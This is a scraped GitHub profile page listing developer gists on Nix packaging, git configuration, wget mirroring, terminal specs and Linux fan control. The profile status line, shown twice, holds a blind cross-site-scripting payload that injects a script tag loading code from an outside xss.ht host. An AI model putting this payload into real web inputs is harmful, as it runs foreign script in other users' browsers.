Skip to content

Instantly share code, notes, and snippets.

View SuperSandro2000's full-sized avatar
⚙️
Factorio - "><script src=https://sandro.xss.ht></script>

Sandro SuperSandro2000

⚙️
Factorio - "><script src=https://sandro.xss.ht></script>
View GitHub Profile
@christianparpart
christianparpart / terminal-synchronized-output.md
Last active July 13, 2026 23:44
Terminal Spec: Synchronized Output

This page has moved!

Please see here: contour-terminal/vt-extensions

Synchronized Output

Synchronized output is merely implementing the feature as inspired by iTerm2 synchronized output, except that it's not using the rare DCS but rather the well known SM ? and RM ?. iTerm2 has now also adopted to use the new syntax instead of using DCS.

Semantics

@cketti
cketti / youtube_preview.user.js
Created May 20, 2021 00:10
Element youtube preview fix (modified)
// ==UserScript==
// @name Element youtube preview
// @namespace http://tampermonkey.net/
// @version 0.3
// @description fix the embeds!!
// @author Cinnabar
// @author cketti
// @match https://app.element.io
// @match https://your.element.url.example
// @icon data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==
@danieldk
danieldk / update-cargo-hashes.txt
Last active January 26, 2025 03:43
Rough procedure for updating all cargoSha256/cargoHash
Rough procedure for updating cargo hashes. Warning: this still requires a lot
of manual work to cover all bases. Based on:
https://github.com/NixOS/nixpkgs/pull/112764/commits/2650d5d2b8c19844224f8b368887153e2f18fdae
# Invalidate all hashes
rg -l "cargoHash" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoHash = "..../cargoHash = "sha256-1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "[^s].../cargoSha256 = "1234/g'
rg -l "cargoSha256" | grep "\.nix" | xargs -n1 sed -i -re 's/cargoSha256 = "sha256-..../cargoSha256 = "sha256-1234/g'
@Konfekt
Konfekt / git-diff.md
Last active October 28, 2025 11:14
git diff common binary files

To diff common binary files in git using appropriate external converters such as unrtf, pandoc, docx2txt.pl, odt2txt, git-xlsx-textconv, git-xlsx-textconv.pl or pptx2md, add to ~/.config/git/config the lines

[diff]
    [diff "pdf"]
      binary = true
      textconv = "f(){ if command -v pdftotext >/dev/null 2>&1; then pdftotext -layout -enc UTF-8 -nopgbrk -q \"$1\" -; else cat \"$1\"; fi; }; f"
      # textconv = pdfinfo
      cachetextconv = true
@SuperSandro2000
SuperSandro2000 / nix-installer-unstable.md
Created March 30, 2021 10:56
Upgrade nix installed with nix-installer to unstable
  1. systemctl disable --now nix-daemon.service nix-daemon.socket
  2. nix-env -p /nix/var/nix/profiles/default/ --install nix-2.4pre20210317_8a5203d
  3. rm /etc/profile.d/nix.sh /etc/profile.d/nix-daemon.sh
  4. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix.sh /etc/profile.d/nix.sh
  5. ln -s /nix/var/nix/profiles/default/etc/profile.d/nix-daemon.sh /etc/profile.d/nix-daemon.sh
  6. systemctl link /nix/var/nix/profiles/default/lib/systemd/system/nix-daemon.{service,socket}

The command line, in short…

wget -k -K -E -r -l 10 -p -N -F --restrict-file-names=windows -nH http://website.com/

…and the options explained

  • -k : convert links to relative
  • -K : keep an original versions of files without the conversions made by wget
  • -E : rename html files to .html (if they don’t already have an htm(l) extension)
  • -r : recursive… of course we want to make a recursive copy
  • -l 10 : the maximum level of recursion. if you have a really big website you may need to put a higher number, but 10 levels should be enough.
@BuonOmo
BuonOmo / .gitconfig
Last active July 14, 2026 11:49
Git blame color scale from 20 month ago to now (https://stackoverflow.com/a/66250482/6320039)
[color "blame"]
highlightRecent = 234, 23 month ago, 235, 22 month ago, 236, 21 month ago, 237, 20 month ago, 238, 19 month ago, 239, 18 month ago, 240, 17 month ago, 241, 16 month ago, 242, 15 month ago, 243, 14 month ago, 244, 13 month ago, 245, 12 month ago, 246, 11 month ago, 247, 10 month ago, 248, 9 month ago, 249, 8 month ago, 250, 7 month ago, 251, 6 month ago, 252, 5 month ago, 253, 4 month ago, 254, 3 month ago, 231, 2 month ago, 230, 1 month ago, 229, 3 weeks ago, 228, 2 weeks ago, 227, 1 week ago, 226
[blame]
coloring = highlightRecent
date = human
@SuperSandro2000
SuperSandro2000 / prepare-commit-msg.sh
Last active November 12, 2023 23:13
prepare commit message for nixpkgs. put into .git/hooks/prepare-commit-msg
#!/usr/bin/env bash
# shellcheck disable=SC2034
COMMIT_MSG_FILE=$1 # file which contains the commmit message
# shellcheck disable=SC2034
COMMIT_SOURCE=$2 # eg commit
# shellcheck disable=SC2034
SHA1=$3 # eg head
perl -i -ne 'print unless(m/^. Please enter the commit message/..m/^#$/)' "$COMMIT_MSG_FILE"
@mroi
mroi / linux.nix
Last active March 13, 2024 16:50
cross-compile a Linux kernel on Darwin using Nix
let cross = self: super: {
# https://github.com/NixOS/nixpkgs/pull/113225
buildLinux = attrs: self.callPackage "${self.fetchFromGitHub {
owner = "mroi";
repo = "nixpkgs";
rev = "patch-linux";
sha256 = "07i6wwf4vh5ahnkp3wvyzdiaqhrxakjjxbdrlwdviis777p9gl5v";
}}/pkgs/os-specific/linux/kernel/generic.nix" attrs;

PWM fan control in Linux with a Gigabyte Aorus motherboard

  • install lm-sensors with your package manager

sensors

If it won't show any fan/speed, continue

sensor-detect